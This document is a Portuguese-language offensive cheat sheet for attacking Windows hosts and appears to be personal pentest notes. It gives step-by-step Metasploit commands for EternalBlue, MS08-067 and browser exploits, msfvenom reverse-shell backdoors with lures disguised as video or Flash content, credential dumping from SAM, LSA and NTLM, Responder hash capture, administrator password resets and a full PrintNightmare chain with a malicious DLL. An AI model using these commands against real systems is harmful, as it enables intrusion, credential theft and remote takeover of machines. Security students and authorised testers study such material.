Windows

Metasploit

Atacando Windows 7 (Eternal Blue)

Procurando por alvos na rede

msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
set threads 100
run

Explorando a falha

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <ip_alvo>
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <ip_atacante>
exploit

Atacando Windows 7 (Vírus)

O Msfvenom é utilizado nas novas versões do Metasploit, substituindo o msfpayload / msfencode.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> x > /tmp/backdoor.exe
# ou
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> -a x86 -f exe -o /root/payload.exe

Faça com que o alvo execute o arquivo .exe:

Entre no modo listener:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ip_atacante>
exploit

Se até aqui tiver sido efetuado com êxito, irá ser aberto o meterperter.

Atacando Windows 7 pelo Internet Explorer

use exploit/windows/browser/ms11_003_ie_css_import
set payload windows/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set SRVHOST <ip_atacante>
set URIPATH videos
exploit

Agora faça com que o alvo abra http://<ip_atacante>:8080/videos pelo Internet Explorer.

Atacando Windows 7 com JAVA

O JAVA tem de estar numa versão um pouco mais antiga para que funcione

msfconsole
use exploit/multi/browser/java_signed_applet # "Multi" e "Browser" significam que são multiplataforma
set payload windows/meterpreter/reverse_tcp
set appletname XVIDEOS # Nome do Applet, pode ser qualquer nome
set certcn Adobe_Flash_Player # Nome do Applet em versões mais antigas pra quem assinou
set srvhost {ip_atacante} # Define o IP do servidor
set srvport 80 # Define a porta do servidor
set uripath videos # Em qual pasta vai ficar armazenado. Nesse caso será <servidor>/videos
set LHOST <ip>
set lport 443
exploit

Agora faça com que o alvo acesse a URL e aceite o java para que o meterpreter tenha sucesso

Atacando Windows XP

Certifique-se antes de que a porta 445 do alvo esteja aberta

# Abre o Metasploit  
msfconsole  
# Selecionando o exploit  
use windows/smb/ms08_067_netapi  
# Selecionando o payload  
set payload windows/meterpreter/reverse_tcp
# Define o host remoto IP do alvo)    
set RHOST <ip_alvo> 
# Define o local host meu IP)   
set LHOST <ip_atacante>
# Comando para ver o que já foi inserido e o que falta  
show options
# Executa tudo o que foi configurado  
exploit

Se até aqui iver sido efetuado com êxito, irá ser aberto o meterperter

Ataque Via Browser

msfconsole
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
set payload windows/meterpreter/reverse_tcp
set SRVHOST <ip_hacker>
set LHOST <ip_hacker>
exploit

Agora faça o alvo acessar pelo navegador: http:// OBS.: Certifique-se que seu IP não esteja já utilizando a porta 80

Ativando RDP

Depois de conseguir acesso via Meterpreter, jogue a sessão em backgrund (CTRL + Z) e então execute o seguinte post:

use post/windows/manage/enable_rdp
set SESSION <number_session>
exploit

Depois de ativar o RDP, podemos acessá-lo normalmente. Caso não saiba a senha do Administrador, podemos alterá-la ou até mesmo criar um usuário.

session -i <number_session>
shell
net user administrator novasenha_123

HTA Server (necessário ter RCE)

# Atacante
msfconsole -q
use exploit/windows/misc/hta_server
exploit
# Copie a URL gerada

# Alvo
mshta.exe <url_gerada>

# Atacante
session -i <number_session>

Enum4Linux

Esse tipo de enumaração pode ser grande e poluída a sua leitura, então foque "principalmente" nos itens output similar to nmblookup, check for null session, listing of shares, domain info, password policy e RID cycling output.

# -a = Todas as enumerações
enum4linux -a <ip_alvo>

Caso queira filtrar por determinadas informações, podemos utilizar alguns recursos do enum4linux.

# Somente usuários
enum4linux -U <ip>

# Somente compartilhamento
enum4linux -S <ip>

Pegando Senhas Locais Via LSA

Depois de acessar o Windows como Administrador, execute o comando lsadump2.

Pegando Senhas em Texto Limpo (NTLM)

wce32.exe -w

Pegando Registros Manualmente

C:\> reg.exe save hklm\sam c:\windows\temp\sam.save
C:\> reg.exe save hklm\security c:\windows\temp\security.save
C:\> reg.exe save hklm\system c:\windows\temp\system.save

Isso também pode ser feito com secretsdump.py ou pwdump

Responder

Quando um sistema em uma rede faz uma pesquisa de nome de host DNS que falha, o sistema utiliza Link-Local Multicast Name Resolution (LLMNR) e o Net-BIOS para resolução de nomes substitutos. Quando o host da vítima falha na pesquisa de DNS, esse host começa a perguntar para qualquer host da rede se eles sabem a resolução para esse nome de host que ele está procurando.

Isso pode acontecer, por exemplo, quando o Windows tem uma unidade de rede mapeada e então esse host deixa de existir ou trocou de IP/hostname.

Antes de iniciar o responder, abra o arquivo /etc/responder/Responder.conf e edite o parâmetro RespondTo, filtrando somente pelos IPs (separados por vírgula) que deseja realmente atacar.

python Responder.py -I <interface> -wrf
reponder -I <interface> -Prv

Caso pegue um hash do tipo NetNTLMv2, utilize hashcat com a opção -m 5600.

PrintNightmare

Execute o comando abaixo e verifique se as duas condições no grep estão de acordo.

/usr/bin/impacket-rpcdump @<host> | egrep 'MS-RPRN|MS-PAR'

Caso seja positivo, precisamos baixar o repositório da CVE.

git clone https://github.com/cube0x0/CVE-2021-1675.git
cd CVE-2021-1675

Agora, vamos instalar (caso ainda não tenha) o virtualenv e executar os devidos comandos:

sudo apt install virtualenv

virtualenv --python=python3 impacket
source impacket/bin/activate

Com isso, estaremos dentro do ambiente virtual, então podemos executar a instalação.

pip3 install .
pip2 install .

Agora precisamos gerar nos DLL maliciosa e para isso podemos utilizar o msfvenom.

sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip_atancante> LPORT=1235 -f dll > shell.dll

Deixando o Metasploit no modo listener.

sudo msfconsole -q
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost <ip>
set lport 1235
exploit

Com o nosso ambiente já preparado para disparar o ataque e receber a reverse shell, vamos preciso subir um servidor SMB para que o host alvo possa acessar nossa DLL gerada com o msfvenom.

smbserver.py mysther . -smb2support

E por último, realizando o ataque de fato para obter a reverse shell no Meterpreter.

python3 CVE-2021-1675.py <domain>/<user>:'<pass>'@<hostname_alvo> '\\<ip_atacante>\mysther\shell.dll'

Sites

# Diversos comandos para ataque Windows, estilo GTFOBins
https://wadcoms.github.io/
https://arttoolkit.github.io

# Ferramentas para ataques contra Windows
https://lolbas-project.github.io/

# Responder
https://github.com/lgandx/Responder-Windows

# Pegando Credenciais
https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/

# PrintNightmare
https://github.com/cube0x0/CVE-2021-1675

Last updated